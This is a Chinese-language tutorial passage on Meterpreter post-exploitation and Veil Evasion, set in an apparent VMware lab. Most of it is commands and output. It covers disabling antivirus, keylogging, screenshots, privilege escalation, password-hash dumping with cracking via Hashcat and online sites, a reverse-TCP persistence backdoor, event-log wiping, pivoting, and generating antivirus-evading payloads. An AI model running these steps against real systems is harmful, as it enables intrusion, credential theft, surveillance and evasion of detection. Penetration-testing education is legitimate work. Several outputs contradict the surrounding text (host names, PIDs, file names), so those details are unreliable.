当渗透测试者利用某漏洞成功渗透到目标系统,并且获取到Meterpreter会话后,可以利用其漏洞模块支持的Meterpreter命令来控制Meterpreter会话,以获取目标主机的更多信息或控制目标主机,如关闭杀毒软件、键盘捕获、屏幕截图、提升权限及创建账户等。下面以刚刚获取到的Meterpreter会话为例。

5.1 关闭杀毒软件

一般情况下,用户都会在计算机中安装杀毒软件。为了方便实施其他操作,用户可以关闭杀毒软件。当渗透测试者拿到目标主机的Shell后,可以使用run killav命令关闭目标主机的杀毒软件。命令如下:

1
2
3
4
5
6
meterpreter > run killav

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[*] Killing Antivirus services on the target...
[*] Killing off cmd.exe...

从输出的信息可以看到,杀死了目标主机的反病毒服务,并且结束了cmd.exe程序。

5.2 获取目标主机的详细信息

为了更了解目标主机的信息,可以使用sysinfo命令查看目标主机的系统信息。执行命令如下:

1
2
3
4
5
6
7
8
meterpreter > sysinfo 
Computer : WIN-FJQ974EQ9HI #计算机名称
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). #操作系统类型
Architecture : x64 #架构
System Language : zh_CN #系统语言
Domain : WORKGROUP #域名
Logged On Users : 1 #登录的用户
Meterpreter : x64/windows #Meterpreter会话

从输出的信息可以看到目标主机的详细信息。例如,计算机名称为WIN-TJUIK7N16BP;操作系统类型为Windows 2008 R2(Build 7600);架构为x64等。

用户还可以使用run scraper命令查看目标主机的详细信息,然后下载并保存在本地。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > run scraper
[*] New session on 192.168.100.246:445...
[*] Gathering basic system information... #收集基本系统信息
[*] Dumping password hashes... #捕获密码哈希
[*] Obtaining the entire registry... #获取到的注册表条目
[*] Exporting HKCU
[*] Downloading HKCU (C:\Windows\TEMP\cMWirfMp.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\Windows\TEMP\WMlVMAef.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\Windows\TEMP\SqeJlpTW.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\Windows\TEMP\OZrUsRSJ.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\Windows\TEMP\JVGScOfZ.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.100.246:445...

从输出的信息可以看到,已获取到目标主机的详细信息。而且,将获取到的信息下载并保存到了本地的C:\Windows\TEMP目录中。这些信息以Windows注册表文件形式保存。

5.3 检查目标是否运行在虚拟机

用户还可以查看靶机是否运行在虚拟机。执行命令如下:

1
2
3
4
meterpreter > run post/windows/gather/checkvm 

[*] Checking if WIN-FJQ974EQ9HI is a Virtual Machine ...
[+] This is a VMware Virtual Machine

从输出的信息可以看到,检测到目标主机是一个VMware虚拟机。由此可以说明,目标靶机运行在VMware虚拟机。

5.4 访问文件系统

Meterpreter支持各种文件系统命令,这些命令基本和Linux系统命令相似。下面使用这些基础的命令访问目标主机的文件系统,如查看当前工作目录、当前目录中的文件及创建目录等。

访问目标主机的文件系统。

  1. 使用pwd命令查看当前工作目录。执行命令如下:

    1
    2
    meterpreter > pwd
    C:\Users\Public\Desktop

    从输出的信息可以看到,目标主机Shell的当前工作目录为C:\Users\Public\Desktop。

  2. 使用ls查看当前目录中的文件。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    meterpreter > ls
    Listing: C:\Users\Public\Desktop
    ================================

    Mode Size Type Last modified Name
    ---- ---- ---- ------------- ----
    100666/rw-rw-rw- 174 fil 2009-07-14 12:57:54 +0800 desktop.ini

    从输出的信息中可以看到,当前目录中有一个名为desktop.ini的文件。

  3. 使用rm命令删除desktop.ini文件。执行命令如下:

    1
    meterpreter > rm desktop.ini

    执行以上命令后,将不会输出任何信息。此时,可以再次查看文件列表,以确定该文件是否成功被删除。如下:

    1
    2
    meterpreter > ls 
    No entries exist in C:\Users\Public\Desktop

    从输出的信息可以看到,当前目录中没有任何文件。由此可以说明,desktop.ini文件成功被删除。

  4. 切换工作目录。执行命令如下:

    1
    meterpreter > cd ..

    执行以上命令后,将切换到上一级目录,即C:\Users\Public。此时,再次查看当前目录的文件列表:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    meterpreter > ls
    Listing: C:\Users\Public
    ========================

    Mode Size Type Last modified Name
    ---- ---- ---- ------------- ----
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Desktop
    40555/r-xr-xr-x 4096 dir 2009-07-14 11:20:08 +0800 Documents
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Downloads
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Favorites
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Libraries
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Music
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Pictures
    40555/r-xr-xr-x 0 dir 2009-07-14 11:20:08 +0800 Videos
    100666/rw-rw-rw- 174 fil 2009-07-14 12:57:55 +0800 desktop.ini

    从输出的信息中可以看到当前目录中的所有文件。

  5. 创建一个名为test的目录。执行命令如下:

    1
    2
    meterpreter > mkdir test
    Creating directory: test

    从输出的信息可以看到,成功创建了一个名为test的目录。

5.5 上传/下载文件

在Meterpreter会话中,用户还可以实现文件的上传和下载。其中,下载文件的语法格式如下:

download file

上传文件的语法格式如下:

upload file

从目标主机下载Pictures文件。执行命令如下:

1
2
3
4
5
6
7
meterpreter > download Pictures
[*] downloading: Pictures\desktop.ini -> /root/Pictures/desktop.ini
[*] download : Pictures\desktop.ini -> /root/Pictures/desktop.ini
[*] mirroring : Pictures\Sample Pictures -> /root/Pictures/Sample Pictures
[*] downloading: Pictures\Sample Pictures\desktop.ini -> /root/Pictures/Sample Pictures/desktop.ini
[*] download : Pictures\Sample Pictures\desktop.ini -> /root/Pictures/Sample Pictures/desktop.ini
[*] mirrored : Pictures\Sample Pictures -> /root/Pictures/Sample Pictures

看到以上输出信息,表示成功下载了Pictures文件。

将本地的passwords.txt文件上传到目标主机。执行命令如下:

1
2
3
4
meterpreter > upload /root/passwords.txt
[*] uploading : /root/passwords.txt -> passwords.txt
[*] Uploaded 5.00 B of 5.00 B (100.0%): /root/passwords.txt -> passwords.txt
[*] uploaded : /root/passwords.txt -> passwords.txt

看到以上输出的信息,表示成功上传了passwords.txt文件。此时,可以通过查看当前文件列表,以确认上传文件成功。如下:

1
2
meterpreter > ls passwords.txt
100666/rw-rw-rw- 5 fil 2020-12-22 17:52:07 +0800 passwords.txt

从输出的信息可以看到用户上传的passwords.txt文件。

5.6 键盘捕获

渗透测试者可以通过启动键盘捕获功能来获取目标用户输入的信息,如用户名和密码等。其中,启动键盘捕获的命令如下:

1
2
meterpreter > keyscan_start 
Starting the keystroke sniffer ...

从输出的信息可以看到,成功启动了键盘捕获。为了模拟这个测试过程,用户可以手动在目标主机输入一些信息,供渗透测试者捕获。当用户在目标主机中输入一些信息后,在攻击主机上使用keyscan_dump命令,即可捕获输入的信息。

1
2
3
meterpreter > keyscan_dump 
Dumping captured keystrokes...
<Return> <Return> <Return> <N1> <Return> 2 <Return> 34

从输出的信息可以看到,成功捕获了目标用户输入的信息。如果用户不想继续捕获目标主机数据时,可以停止键盘捕获。执行命令如下:

1
2
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

看到以上输出的信息,表示成功停止了键盘捕获。

5.7 屏幕截图

用户通过实施屏幕截图,可以看到目标用户正在执行的操作,如打开的文件和网页等。下面将对目标屏幕进行截图。执行命令如下:

1
2
meterpreter > screenshot 
Screenshot saved to: /root/gXadXrPM.jpeg

从输出的信息可以看到,成功截取了目标主机的屏幕,并且保存到/root/gXadXrPM.jpeg文件中。此时,用户可以查看该截图,以确认目标用户执行的操作,如下图所示。

图片12

5.8 枚举用户

渗透测试者还可以使用run post/windows/gather/enum_logged_on_user命令枚举目标主机中的用户。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
meterpreter > run post/windows/gather/enum_logged_on_users 

[*] Running against session 1

Current Logged Users
====================

SID User
--- ----
S-1-5-18 NT AUTHORITY\SYSTEM
S-1-5-21-2138728887-1485734618-2934346151-500 WIN-FJQ974EQ9HI\Administrator


[+] Results saved in: /root/.msf4/loot/20201222180746_default_192.168.100.246_host.users.activ_092975.txt

Recently Logged Users
=====================

SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-2138728887-1485734618-2934346151-500 C:\Users\Administrator

从输出的信息可以看到,目标主机中只有一个用户,用户名为Administrator。

5.9 权限提升

在某些情况下,用户获取的Meterpreter会话会受到用户权限的限制,这将会影响渗透测试者在目标系统中的操作,如修改注册表、安装后门或者导出密码等。此时,用户可以使用getsystem命令,对当前用户进行提权。下面将介绍如何对用户进行权限提升。

对普通用户进行提权。首先查看当前用户的权限信息。执行命令如下:

1
2
meterpreter > getuid 
Server username: test-PC\test

从输出的信息可以看到,当前用户是一个普通用户,其用户名为test。接下来,将使用getsystem命令对该用户进行提权。执行命令如下:

1
2
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

看到以上输出信息,表示成功对当前用户进行了提权。此时,再次查看用户权限。结果如下:

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

从输出的信息可以看到,当前用户的权限为NT AUTHORITY\SYSTEM。由此可以说明,成功提升了用户的权限。

5.10 获取用户密码

当用户获取的Meterpreter会话拥有一定权限时,则可以获取用户密码。下面将使用hashdump命令获取用户的密码。

获取用户密码。执行命令如下:

1
2
3
4
5
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b3255351d8dfe7cdedf3f552a49146d6:::
test:1001:aad3b435b51404eeaad3b435b51404ee:aeb1c90bbed3a069d98bf65a109
e77c2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

从输出的信息可以看到,目标主机中有3个用户,分别是Administrator、test和Guest。以上输出信息的格式为,用户名:SID:LM哈希:NTLM哈希。其中,LM哈希aad3b435b51404eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0对应的是一个空密码。

  • 离线破解:

使用hashdump命令获取的哈希密码,还需要进一步破解才可以得到真正的密码,这里使用Hashcat进行密码破解。

hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等,目前最新版本为4.01,下载地址 https://hashcat.net/files/hashcat-4.1.0.7z ,hashcat目前支持各类公开算法高达247类,市面上面公开的密码加密算法基本都支持!

5位小写+ 大写+数字+特殊字符破解

1
# hashcat -m 1000 b3255351d8dfe7cdedf3f552a49146d6 -a 3 ?b?b?b?b?b -w 3

破解需要一段时间,

  • 在线破解:

利用在线破解网站轻松跑出HASH,简单便捷,常用在线破解网站:

https://www.cmd5.com/ :“一直被抄袭,从未被超越”,可以轻松破解MD5、SHA1、MySQL、NTLM等HASH值,如果这个网站跑不出来,说明密码已相当复杂;
https://hashes.com/en/decrypt/hash :免费破解MD5、SHA1、MySQL、NTLM、SHA256、SHA512等HASH值。

5.11 绑定进程

Meterpreter既可以单独运行,也可以与其他进程进行绑定。当Meterpreter单独作为一个进程运行时,很容易被发现。如果将它与系统中经常运行的进程进行绑定,就能够实现持久化。

绑定进程,并捕获键盘记录。

  1. 查看当前系统中运行的进程。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    meterpreter > ps

    Process List
    ============

    PID PPID Name Arch Session User Path
    --- ---- ---- ---- ------- ---- ----
    0 0 [System Process]
    4 0 System x64 0
    240 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
    328 508 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
    336 324 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
    404 396 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
    412 324 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
    448 396 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
    508 412 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
    …//省略部分内容//…
    2864 2220 cmd.exe x64 1 WIN-FJQ974EQ9HI\Administrator C:\Windows\system32\cmd.exe
    3016 508 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe

    从输出的信息可以看到,显示了当前系统中运行的所有进程。输出的信息共包括7列,分别表示PID(进程ID)、PPID(父ID)、Name(进程名)、Arch(架构)、Session(会话)、User(用户名)和Path(路径)。例如,这里将选择Meterpreter与winlogon.exe进程绑定。其中,该进程ID为448。

  2. 使用getpid命令查看当前的进程ID。执行命令如下:

    1
    2
    meterpreter > getpid
    Current pid: 1048

    从输出的信息可以看到,当前进程ID为1048。

  3. 使用migrate命令绑定进程。执行命令如下:

    1
    2
    3
    meterpreter > migrate 448
    [*] Migrating from 1048 to 448...
    [*] Migration completed successfully.

    从输出的信息可以看到,进程成功被迁移到400。

5.12 运行程序

在Meterpreter中,渗透测试者还可以使用execute命令在目标系统中执行应用程序。该命令的语法格式如下:

execute [options] -f command

该命令可用的选项及含义如下:

-H:创建一个隐藏进程。
-a:传递给命令的参数。
-i:跟进程进行交互。
-m:从内存中执行。
-t:使用当前伪造的线程令牌运行进程。
-s:在给定的会话中执行进程。

在目标主机上运行一个CMD程序。执行命令如下:

1
2
meterpreter > execute -s 1 -f cmd
Process 592 created.

从输出的信息可以看到,创建了ID为592的进程。此时,在目标主机上即可看到启动的CMD程序,如下图所示。

5.13 启动远程桌面

在Meterpreter中,用户还可以启动远程桌面,以实现远程连接目标主机。下面将介绍启用远程桌面并远程登录的方法。

启用远程桌面。执行命令如下:

1
2
3
4
5
6
7
8
meterpreter > run post/windows/manage/enable_rdp 

[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20201223144916_default_192.168.100.246_host.windows.cle_007584.txt

看到以上输出信息,表示成功启动了远程桌面。接下来,用户还需要检查远程用户的空闲时长。执行命令如下:

1
2
meterpreter > idletime
User has been idle for: 1 hours 05 mins 36 secs

从输出的信息可以看到,用户的空闲时长为1小时05分36秒。接下来,渗透测试者就可以远程访问目标主机的桌面了。
用户通过一些方法可以获取目标主机的用户名和密码,如hashdump命令和mimikatz模块等。此时,用户可以利用获取的用户信息,在Kali主机中远程连接目标主机。下面将使用rdesktop命令远程连接桌面。

执行命令如下:

1
# rdesktop 192.168.100.246

执行以上命令后,将打开一个远程桌面,如下图所示。

图片13

5.14 持久后门

当成功获取目标系统的访问权限后,渗透测试者肯定不希望再次采用同样费力的方式重新获得访问权限。由于Meterpreter是基于内存DLL建立的连接,所以,只要目标主机关机,Meterpreter连接就会断开。因此,为了方便后续渗透测试,可以创建持久后门。这样,只要目标主机开机,将自动与攻击主机建立连接。而且,当创建持久后门后,即使连接被中断,也不会影响工作。这里介绍使用run persistence命令创建持久后门。

语法格式如下:

run persistence -X -i-p-r

该命令支持的选项及含义如下:

-X:当系统启动后,自动启动代理。
-i:设置每个连接尝试的时间间隔,单位为秒。
-p:指定Metasploit监听的端口。
-r:指定反向连接运行Metasploit系统的IP地址,即攻击主机的地址。

使用run persistence命令创建持久后门。执行命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
C:\Users\Administrator\Desktop\mimikatz_trunk\mimikatz_trunk\x64>exit
exit
meterpreter > run persistence -X -i 5 -p 8888 -r 192.168.10.75

[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[*] Killing Antivirus services on the target...
meterpreter > run persistence -X -i 5 -p 8888 -r 192.168.10.75

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-FJQ974EQ9HI_20201223.5513/WIN-FJQ974EQ9HI_20201223.5513.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.10.75 LPORT=8888
[*] Persistent agent script is 99646 bytes long
[+] Persistent Script written to C:\Windows\TEMP\VRsLRR.vbs
[*] Executing script C:\Windows\TEMP\VRsLRR.vbs
[+] Agent executed with PID 1860
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ipYGOHFB
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ipYGOHFB

从输出的信息可以看到,在目标主机中创建了一个可执行脚本。其中,该脚本文件名称为KvOgcpAbttfiQ.vbs。此时,用户在目标主机的C:\Windows\TEMP目录中即可看到该文件,如下图所示。

图片15

当用户在目标主机创建持久后门后,还需要在本地建立监听。这样,当目标主机重新启动后,即可自动与攻击主机建立连接。

下面使用exploit/multi/handler模块建立监听。

  1. 选择exploit/multi/handler模块。执行命令如下:

    1
    2
    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) >
  2. 加载攻击载荷,并查看配置选项。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > show options

    Module options (exploit/multi/handler):

    Name Current Setting Required Description
    ---- --------------- -------- -----------


    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
    LHOST yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    0 Wildcard Target

    从输出的信息中可以看到,必需项LHOST还没有配置。而且,该模块监听的端口为4444。由于前面已经监听了4444端口,所以这里将修改一个其他监听端口,如8888。

  3. 配置攻击载荷选项。执行命令如下:

    1
    2
    3
    4
    msf6 exploit(multi/handler) > set LHOST 192.168.10.75
    LHOST => 192.168.10.75
    msf6 exploit(multi/handler) > set LPORT 8888
    LPORT => 8888
  4. 建立监听。执行命令如下:

    1
    2
    3
    msf6 exploit(multi/handler) > exploit

    [*] Started reverse TCP handler on 192.168.10.75:8888

    从输出的信息可以看到,当前主机正在监听端口8888,IP地址为192.168.10.75。

  5. 当目标主机重新启动后,将主动与攻击主机建立连接。如下:

    1
    2
    3
    4
    5
    6
    7
    sf6 exploit(multi/handler) > exploit

    [*] Started reverse TCP handler on 192.168.10.75:8888
    [*] Sending stage (175174 bytes) to 192.168.100.246
    [*] Meterpreter session 8 opened (192.168.10.75:8888 -> 192.168.100.246:49160) at 2020-12-23 16:51:29 +0800

    meterpreter >

    从输出的信息可以看到,成功打开了一个Meterpreter会话。

5.15 清除踪迹

当渗透测试者入侵目标主机后,所有的操作都会被记录在目标系统的日志文件中。所以,为了不被目标系统所发现,清除踪迹是非常重要的工作。此时,用户可以使用clearev命令清除踪迹。执行命令如下:

1
2
3
4
meterpreter > clearev
[*] Wiping 318 records from Application... #应用程序记录
[*] Wiping 1255 records from System... #系统记录
[*] Wiping 352 records from Security... #安全记录

从输出的信息可以看到清除的相关记录。其中,清除了318条应用程序记录、1255条系统记录和352条安全记录。

5.16 搭建跳板

跳板是指利用一台已经攻击的漏洞主机作为跳板,渗透网络中的其他主机。它还可以用于渗透由于路由问题而不能直接访问的内网系统。

搭建跳板。具体操作步骤如下:

  1. 打开获取的Meterpreter会话。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    msf6 exploit(multi/handler) > exploit

    [*] Started reverse TCP handler on 192.168.10.75:8888
    [*] Sending stage (175174 bytes) to 192.168.100.11
    [*] Meterpreter session 8 opened (192.168.10.75:8888 -> 192.168.100.11:49160) at 2020-12-23 16:51:29 +0800

    meterpreter >

    从以上会话的地址中,可以看到攻击主机的地址为192.168.10.75,目标主机的地址为192.168.100.11。显然这两台主机不属于同一个网络。所以,如果要对目标主机所在网络中的其他主机进行渗透,则需要添加对应的路由条目才可实现。

  2. 查看目标系统上的子网。执行命令如下:

    1
    2
    3
    4
    5
    6
    meterpreter > run get_local_subnets

    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    Local subnet: 192.168.100.0/255.255.255.0
    meterpreter >

    从输出的信息中,可以看到目标系统所在的子网为192.168.100.0/24。

  3. 将攻击会话放到后台运行,并且添加路由条目。其中,添加路由条目的语法格式如下:

    route add [子网] [掩码] [会话ID]

    添加路由条目。执行命令如下:

    1
    2
    3
    4
    meterpreter > background
    [*] Backgrounding session 8...
    msf6 exploit(handler) > route add 192.168.100.0 255.255.255.0 1
    [*] Route added

    从输出的信息中,可以看到成功添加了一条路由条目。此时,用户可以使用route print命令查看添加的路由条目。如下:

    1
    2
    3
    4
    5
    6
    msf6 exploit(handler) > route print
    Active Routing Table
    ====================
    Subnet Netmask Gateway
    ------------ -------- ---------------
    192.168.100.0 255.255.255.0 Session 1

    从输出的信息中可以看到,成功添加了192.168.1.0/24的路由条目。接下来,攻击主机即可对192.168.1.0/24网络中的其他主机实施渗透。提示:在上面的例子中使用route add命令为Meterpreter的攻击会话添加路由。如果要更加自动化地完成这一操作,可以选择使用load auto_add_route命令。如下:

    1
    2
    msf6 exploit(handler) > load auto_add_route 
    [*] Successfully loaded plugin: auto_add_route

    从输出的信息可以看到,成功加载了auto_add_route插件。接下来,使用exploit命令即可对其他主机实施渗透测试。如下:

    1
    msf6 exploit(handler) > exploit

六、免杀Payload攻击

Kali Linux提供了一款名为Veil Evasion的工具,可以用来生成不同类型的攻击载荷文件。其中,该攻击载荷文件在大多数情况下能绕过常见的杀毒软件。这里介绍使用Veil Evasion工具生成免杀攻击载荷文件,以实现攻击。

6.1 安装及初始化Veil Evasion工具

Kali Linux默认没有安装Veil Evasion工具。所以,在使用该工具之前需要安装。执行命令如下:

1
# apt install veil-evasion -y

执行以上命令后,如果没有报,就说明Veil Evasion工具安装成功。接下来,就可以启动该工具了。

或者使用克隆安装:git clone https://www.github.com/Veil-Framework/Veil-Evasion.git && ./Veil-Evasion/setup/setup.sh

初始化Veil Evasion工具。具体操作步骤如下:

  1. 启动Veil Evasion工具。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    # veil                                                               

    =========================================================================
    Veil (Setup Script) | [Updated]: 2018-05-08
    =========================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    =========================================================================

    os = kali
    osversion = 2020.4
    osmajversion = 2020
    arch = x86_64
    trueuser = czz
    userprimarygroup = czz
    userhomedir = /home/czz
    rootdir = /usr/share/veil
    veildir = /var/lib/veil
    outputdir = /var/lib/veil/output
    dependenciesdir = /var/lib/veil/setup-dependencies
    winedir = /var/lib/veil/wine
    winedrive = /var/lib/veil/wine/drive_c
    gempath = Z:\var\lib\veil\wine\drive_c\Ruby187\bin\gem

    [I] Kali Linux 2020.4 x86_64 detected...



    [?] Are you sure you wish to install Veil?

    Continue with installation? ([y]es/[s]ilent/[N]o):

    以上输出信息显示了当前操作系统的基本信息及Veil Evasion工具的安装位置。这里提示是否继续安装Veil工具,输入y继续安装,安装完成后将显示如下信息:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
     [*] Initializing package installation
    [*] Pulling down binary dependencies
    [*] Empty folder... git cloning
    正克隆到 '/var/lib/veil/setup-dependencies'...
    remote: Enumerating objects: 12, done.
    remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 12
    展开对象中: 100% (12/12), 完成.
    [*] Installing Wine
    [*] Already have x86 architecture added...
    [*] Installing Wine 32-bit and 64-bit binaries (via APT)
    [*] Finished package installation
    [*] Initializing (OS + Wine) Python dependencies installation...
    [*] Installing (Wine) Python...
    [*] Next -> Next -> Next -> Finished! ...Overwrite if prompt (use default
    values)

    从输出的信息可以看到,正在初始化已安装的包。接下来,在该过程中将会安装一些其他软件,分别是Python、pywin32、pycrypto、Ruby 1.8.7-p371和Autolt。

6.2 生成免杀攻击载荷

通过配置的设置,Veil工具就可以正常使用了。下面将使用Veil Evasion工具生成免杀攻击载荷文件。

使用Veil Evasion工具生成免杀攻击载荷文件。具体操作步骤如下:

  1. 启动Veil Evasion工具。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    # veil 
    ================================================================
    Veil | [Version]: 3.1.11
    ================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ================================================================
    Main Menu #主菜单
    2 tools loaded
    Available Tools: #有效的工具
    1) Evasion
    2) Ordnance
    Available Commands: #有效的命令
    exit Completely exit Veil
    info Information on a specific tool
    list List available tools
    options Show Veil configuration
    update Update Veil
    use Use a specific tool
    Veil>:

    从输出的信息可以看到,命令行提示符为Veil>。由此可以说明,成功进入了Veil工具的交互模式。接下来可以选择工具创建攻击载荷文件。

  2. 使用Evasion工具。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    Veil>: use Evasion
    =================================================================
    Veil-Evasion
    =================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    =================================================================
    Veil-Evasion Menu
    41 payloads loaded
    Available Commands:
    back Go to Veil's main menu
    checkvt Check VirusTotal.com against generated hashes
    clean Remove generated artifacts
    exit Completely exit Veil
    info Information on a specific payload
    list List available payloads
    use Use a specific payload
    Veil/Evasion>:

    从输出的信息中可以看到,该工具加载了41个攻击载荷。

  3. 查看Evasion工具支持的攻击载荷,执行如下命令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    Veil/Evasion>: list
    ===================================================================
    Veil-Evasion
    ===================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===================================================================
    [*] Available Payloads:
    1) autoit/shellcode_inject/flat.py
    2) auxiliary/coldwar_wrapper.py
    3) auxiliary/macro_converter.py
    4) auxiliary/pyinstaller_wrapper.py
    5) c/meterpreter/rev_http.py
    6) c/meterpreter/rev_http_service.py
    7) c/meterpreter/rev_tcp.py
    8) c/meterpreter/rev_tcp_service.py
    9) cs/meterpreter/rev_http.py
    10) cs/meterpreter/rev_https.py
    11) cs/meterpreter/rev_tcp.py
    12) cs/shellcode_inject/base64.py
    13) cs/shellcode_inject/virtual.py
    14) go/meterpreter/rev_http.py
    15) go/meterpreter/rev_https.py
    16) go/meterpreter/rev_tcp.py
    17) go/shellcode_inject/virtual.py
    18) lua/shellcode_inject/flat.py
    19) perl/shellcode_inject/flat.py
    20) powershell/meterpreter/rev_http.py
    21) powershell/meterpreter/rev_https.py
    22) powershell/meterpreter/rev_tcp.py
    23) powershell/shellcode_inject/psexec_virtual.py
    24) powershell/shellcode_inject/virtual.py
    25) python/meterpreter/bind_tcp.py
    26) python/meterpreter/rev_http.py
    27) python/meterpreter/rev_https.py
    28) python/meterpreter/rev_tcp.py
    29) python/shellcode_inject/aes_encrypt.py
    30) python/shellcode_inject/arc_encrypt.py
    31) python/shellcode_inject/base64_substitution.py
    32) python/shellcode_inject/des_encrypt.py
    33) python/shellcode_inject/flat.py
    34) python/shellcode_inject/letter_substitution.py
    35) python/shellcode_inject/pidinject.py
    36) python/shellcode_inject/stallion.py
    37) ruby/meterpreter/rev_http.py
    38) ruby/meterpreter/rev_https.py
    39) ruby/meterpreter/rev_tcp.py
    40) ruby/shellcode_inject/base64.py
    41) ruby/shellcode_inject/flat.py
    Veil/Evasion>:

    从输出的信息中,可以看到支持的所有攻击载荷。例如,这里选择使用cs/meterpreter/rev_tcp.py攻击载荷。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    Veil/Evasion>: use cs/meterpreter/rev_tcp.py
    ==================================================================
    Veil-Evasion
    ==================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ==================================================================
    Payload Information:
    Name: Pure C# Reverse TCP Stager
    Language: cs
    Rating: Excellent
    Description: pure windows/meterpreter/reverse_tcp stager, no
    shellcode
    Payload: cs/meterpreter/rev_tcp selected
    Required Options:
    Name Value Description
    ---- ----- -----------
    COMPILE_TO_EXE Y Compile to an executable
    DEBUGGER X Optional: Check if debugger is attached
    DOMAIN X Optional: Required internal domain
